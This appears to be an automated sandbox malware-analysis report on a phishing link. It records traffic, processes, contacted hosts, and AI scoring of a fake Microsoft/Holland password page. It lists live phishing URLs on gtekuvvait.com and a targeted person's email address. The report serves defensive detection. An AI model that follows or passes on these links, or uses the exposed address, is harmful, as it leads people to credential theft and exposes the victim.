Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49791 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.win@19/62@38/15

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1856,i,9850766657152717928,4042590119309119536,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1856,i,9850766657152717928,4042590119309119536,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
sni1gl.wpc.upsiloncdn.net	152.199.21.175	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	142.250.184.196	true	false	unknown
d19d360lklgih4.cloudfront.net	13.33.187.96	true	false	unknown
vwkugoia0yciq0buttompanj2.ntvultra.com	108.179.252.163	true	false	unknown
gtekuvvait.com	104.21.11.126	true	true	unknown
aadcdn.msauthimages.net	unknown	unknown	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
ok4static.oktacdn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false	unknown
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js	false	unknown
https://challenges.cloudflare.com/turnstile/v0/g/ec4b873d446c/api.js	false	unknown
https://aadcdn.msauthimages.net/dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/illustration?ts=636148307647586819	false	unknown
https://gtekuvvait.com/favicon.ico	true	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141	false	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false	unknown
https://gtekuvvait.com/cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js?	true	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false	unknown
https://aadcdn.msauthimages.net/dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/bannerlogo?ts=636148307564681746	false	unknown
https://gtekuvvait.com/zuprivater/Xdrrwwipj/uryfdsk2o3294djfshg.php	true	unknown
https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=	false	unknown
https://gtekuvvait.com/cdn-cgi/challenge-platform/scripts/jsd/main.js	true	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false	unknown
https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cbcae183e2342bd&lang=auto	false	unknown
https://gtekuvvait.com/zuprivater/Xdrrwwipj/uysfdiv0928e374.php	true	unknown
https://gtekuvvait.com/cdn-cgi/challenge-platform/h/g/jsd/r/8cbcadf6bd494332	true	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8cbcae183e2342bd/1727788093972/5ftnKG-0C57dlXg	false	unknown
https://gtekuvvait.com/zuprivater/Xdrrwwipj/#jsalas@hollandco.com	true	unknown
https://gtekuvvait.com/zuprivater/Xdrrwwipj/	true	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8cbcae183e2342bd/1727788093971/dcbd2e0bf554887b70a10df12d13d00fd03686cbcc86498f3a55dc438817fab9/a0JwO36r5XkPi_g	false	unknown
https://a.nel.cloudflare.com/report/v4?s=4DXKE3id0cUYdYdomYtDJYYSZ7NSgw5WMWXsbWtuQIuKoSGe7%2BH49U8G8IWqa581mvQeQRGKWMChTvXadsI3fDXxcbfIOEH0n6nhc5AB8suyRYbkCx4SkXnpu6pt%2BZhfjQ%3D%3D	false	unknown
https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com	true	unknown
https://gtekuvvait.com/zuprivater/Xdrrwwipj/admin/lifeattach	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://gtekuvvait.com/zuprivater/Xdrrwwipj/#jsalas	chromecache_97.1.dr	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.193.229	unknown	United States	54113	FASTLYUS	false
13.33.187.14	unknown	United States	16509	AMAZON-02US	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
108.179.252.163	vwkugoia0yciq0buttompanj2.ntvultra.com	United States	46606	UNIFIEDLAYER-AS-1US	false
13.33.187.96	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.21.11.126	gtekuvvait.com	United States	13335	CLOUDFLARENETUS	true
152.199.21.175	sni1gl.wpc.upsiloncdn.net	United States	15133	EDGECASTUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523392
Start date and time:	2024-10-01 15:07:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@19/62@38/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 74.125.133.84, 216.58.212.131, 172.217.16.142, 34.104.35.123, 88.221.110.91, 142.250.186.170, 142.250.185.138, 216.58.212.138, 142.250.74.202, 172.217.18.106, 216.58.206.74, 142.250.185.170, 142.250.186.106, 172.217.16.202, 172.217.18.10, 142.250.185.74, 142.250.186.42, 172.217.23.106, 142.250.185.202, 142.250.186.138, 142.250.185.106, 142.250.186.163, 142.250.185.110
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, aadcdn.azureedge.net, aadcdn.ec.azureedge.net, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=

Input	Output
URL: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com Model: jbxai	{ "brand":["Microsoft", "Cloudflare"], "contains_trigger_text":true, "trigger_text":"Verifying... CLOUD FLARE Privacy\\u00b7 Terms", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com Model: jbxai	{ "brand":["Microsoft", "Cloudflare"], "contains_trigger_text":true, "trigger_text":"Verifying... CLOUD FLARE Privacy\\u00b7 Terms", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com Model: jbxai	{ "brand":["Holland"], "contains_trigger_text":true, "trigger_text":"Enter Password", "prominent_button_name":"Sign in", "text_input_field_labels":["Password"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com Model: jbxai	{ "phishing_score":9, "brands":"Holland", "legit_domain":"holland.com", "classification":"unknown", "reasons":["The URL 'gtekuvvait.com' does not match the legitimate domain 'holland.com'.", "The domain 'gtekuvvait.com' contains no recognizable association with the brand 'Holland'.", "The presence of a password input field on an unrecognized domain is suspicious.", "The domain name 'gtekuvvait.com' appears random and does not follow typical naming conventions for legitimate brand domains."], "brand_matches":[false], "url_match":false, "brand_input":"Holland", "input_fields":"Password"}

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 1 12:08:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.966884955944629
Encrypted:	false
SSDEEP:	48:8GdQTUIsHWidAKZdA1FehwiZUklqehN5y+3:8Zvt05y
MD5:	69A7641237811C9A09A8D0F6A5836382
SHA1:	0F54709E67686852C188519C631A5C5F2AB4D4C8
SHA-256:	7DBD6410198307B4E25D52F0809128341BD7F13E03273CC79CD9093A9F36B701
SHA-512:	EC45CFDFE3C14A0C0F800136FE8D1BB25248C2432B6270E33CDDE6534A48791E51DFD4C53BE1F1987C07BA6B70D3E1720CF93A65B556A766DFC10BDC66466E1E
Malicious:	false
Reputation:	low
